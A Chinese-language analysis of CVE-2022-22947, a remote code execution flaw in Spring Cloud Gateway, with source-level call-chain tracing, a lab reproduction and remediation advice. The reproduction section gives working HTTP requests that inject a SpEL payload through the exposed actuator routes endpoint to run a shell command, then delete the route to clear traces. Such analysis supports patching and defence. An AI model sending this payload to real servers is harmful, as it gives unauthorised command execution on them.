漏洞概述
CVE-2022-22947 是 Spring Cloud Gateway 中的一个高危远程代码执行(RCE)漏洞,CVSSv3 评分为 10.0(最高危)。该漏洞允许攻击者通过构造恶意 SpEL(Spring Expression Language)表达式,在启用并暴露 Actuator 端点的网关服务上执行任意命令,完全控制目标服务器。
影响版本:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他不受支持的旧版本。
技术细节分析
1. 漏洞成因
-
SpEL 表达式注入
Spring Cloud Gateway 的ShortcutConfigurable
接口在处理路由过滤器参数时,使用StandardEvaluationContext
解析用户输入的参数值。攻击者可通过AddResponseHeader
等过滤器的value
字段注入恶意 SpEL 表达式(如T(java.lang.Runtime).exec("calc")
),触发远程代码执行。 -
Actuator 端点暴露
若应用程序配置启用了management.endpoint.gateway.enabled=true
并对外暴露/actuator/gateway
接口(如management.endpoints.web.exposure.include=gateway
),攻击者可通过该接口动态添加恶意路由。
2. 源码分析
漏洞入口点
漏洞的核心入口点是 /actuator/gateway/routes/{id}
接口,攻击者通过此接口添加包含恶意 SpEL 表达式的路由配置。以下从请求处理到表达式执行的完整调用链分析:
1. 路由添加请求处理(入口点)
代码位置:org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
触发条件:用户发送 POST 请求到 /actuator/gateway/routes/{id}
,携带恶意路由配置。
关键逻辑:
@PostMapping("/routes/{id}")
@SuppressWarnings("unchecked")
public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
return Mono.just(route).doOnNext(this::validateRouteDefinition)
.flatMap(routeDefinition -> this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> {
r.setId(id);
log.debug("Saving route: " + route);
return r;
})).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()))))
.switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build())));
}
作用:接收并保存用户定义的路由配置,其中包含恶意过滤器参数。
2. 路由配置加载
代码位置:org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
触发条件:调用 /actuator/gateway/refresh
刷新路由后,系统加载所有路由配置。
关键逻辑:
@SuppressWarnings("unchecked")
List<GatewayFilter> loadGatewayFilters(String id, List<FilterDefinition> filterDefinitions) {
ArrayList<GatewayFilter> ordered = new ArrayList<>(filterDefinitions.size());
for (int i = 0; i < filterDefinitions.size(); i++) {
FilterDefinition definition = filterDefinitions.get(i);
GatewayFilterFactory factory = this.gatewayFilterFactories.get(definition.getName());
if (factory == null) {
throw new IllegalArgumentException(
"Unable to find GatewayFilterFactory with name " + definition.getName());
}
if (logger.isDebugEnabled()) {
logger.debug("RouteDefinition " + id + " applying filter " + definition.getArgs() + " to "
+ definition.getName());
}
Object configuration = this.configurationService.with(factory)
.name(definition.getName())
.properties(definition.getArgs())
.eventFunction((bound, properties) -> new FilterArgsEvent(
RouteDefinitionRouteLocator.this, id, (Map<String, Object>) properties))
.bind();//调用.bind()方法
if (configuration instanceof HasRouteId) {
HasRouteId hasRouteId = (HasRouteId) configuration;
hasRouteId.setRouteId(id);
}
GatewayFilter gatewayFilter = factory.apply(configuration);
if (gatewayFilter instanceof Ordered) {
ordered.add(gatewayFilter);
}
else {
ordered.add(new OrderedGatewayFilter(gatewayFilter, i + 1));
}
}
return ordered;
}
作用:解析路由配置中的过滤器参数(args
),调用 bind
方法进行参数绑定。
3.bind
方法调用 normalizeProperties()
代码位置:org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#bind
public T bind() {
validate();
Assert.hasText(this.name, "name may not be empty");
Assert.isTrue(this.properties != null || this.normalizedProperties != null,
"properties and normalizedProperties both may not be null");
if (this.normalizedProperties == null) {
this.normalizedProperties = normalizeProperties();//调用normalizeProperties()
}
T bound = doBind();
if (this.eventFunction != null && this.service.publisher != null) {
ApplicationEvent applicationEvent = this.eventFunction.apply(bound, this.normalizedProperties);
this.service.publisher.publishEvent(applicationEvent);
}
return bound;
}
4. 参数绑定与规范化
代码位置:org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
触发条件:绑定过滤器参数时,对参数值进行规范化处理。
关键逻辑:
@Override
protected Map<String, Object> normalizeProperties() {
if (this.service.beanFactory != null) {
return this.configurable.shortcutType().normalize(this.properties, this.configurable,
this.service.parser, this.service.beanFactory);
}
return super.normalizeProperties();
}
作用:遍历参数键值对,调用 ShortcutType.normalize
方法处理 value
字段。
4. 表达式解析与执行
代码位置:org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
漏洞触发点:解析用户输入的 SpEL 表达式。
关键代码(漏洞版本):
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}
问题分析:
StandardEvaluationContext
:允许执行任意 Java 方法(如Runtime.exec()
)。- 用户输入可控:
entryValue
直接来自请求参数(如AddResponseHeader
过滤器的value
字段)。
5. 完整调用链
1. 用户发送恶意路由配置(POST /actuator/gateway/routes/{id})
↳ 触发 AbstractGatewayControllerEndpoint#save
2. 刷新路由(POST /actuator/gateway/refresh)
↳ 触发 RouteDefinitionRouteLocator#loadGatewayFilters
3. 加载过滤器配置
↳ 调用 ConfigurationService.ConfigurableBuilder#bind
4. 参数规范化
↳ 调用 ShortcutConfigurable.ShortcutType#normalize
5. 表达式解析与执行
↳ 调用 ShortcutConfigurable#getValue(使用 StandardEvaluationContext)
漏洞复现步骤
1. 环境搭建
使用 Vulhub 快速搭建漏洞环境:
docker-compose up -d
访问 http://目标IP:8080
确认服务正常。
2. 攻击流程
-
创建恶意路由:
POST /actuator/gateway/routes/test HTTP/1.1 Host: target:8080 Content-Type: application/json { "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}" } }], "uri": "http://example.com" }
- 关键字段:
value
中的 SpEL 表达式执行whoami
命令。
- 关键字段:
-
刷新路由:
POST /actuator/gateway/refresh HTTP/1.1 Host: target:8080
- 触发命令执行:
GET /actuator/gateway/routes/test HTTP/1.1 Host: target:8080
- 响应示例:
"Result": "root\n"
,确认命令执行成功。
- 清理痕迹:
DELETE /actuator/gateway/routes/test HTTP/1.1 Host: target:8080
修复方案
1. 官方修复
- 升级版本:
- 3.1.x 用户升级至 3.1.1+
- 3.0.x 用户升级至 3.0.7+
修复代码中,StandardEvaluationContext
被替换为GatewayEvaluationContext
(基于SimpleEvaluationContext
),限制 SpEL 表达式功能。
2. 临时缓解
- 禁用 Actuator 端点:
在application.properties
中配置:management.endpoint.gateway.enabled=false management.endpoints.web.exposure.include=health,info
- 网络隔离:限制
/actuator
端口的访问来源,仅允许内网 IP。
3. 安全加固
- 启用 Spring Security:对 Actuator 接口进行身份认证和权限控制。
- 输入过滤:自定义过滤器拦截包含
T()
、Runtime
等关键字的参数。
总结
CVE-2022-22947 的根源在于 Spring Cloud Gateway 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。开发者应遵循以下安全实践:
- 最小化暴露:避免对外暴露敏感接口。
- 持续更新:及时应用框架安全补丁。
- 纵深防御:结合网络隔离与代码层校验,防范类似漏洞。
参考链接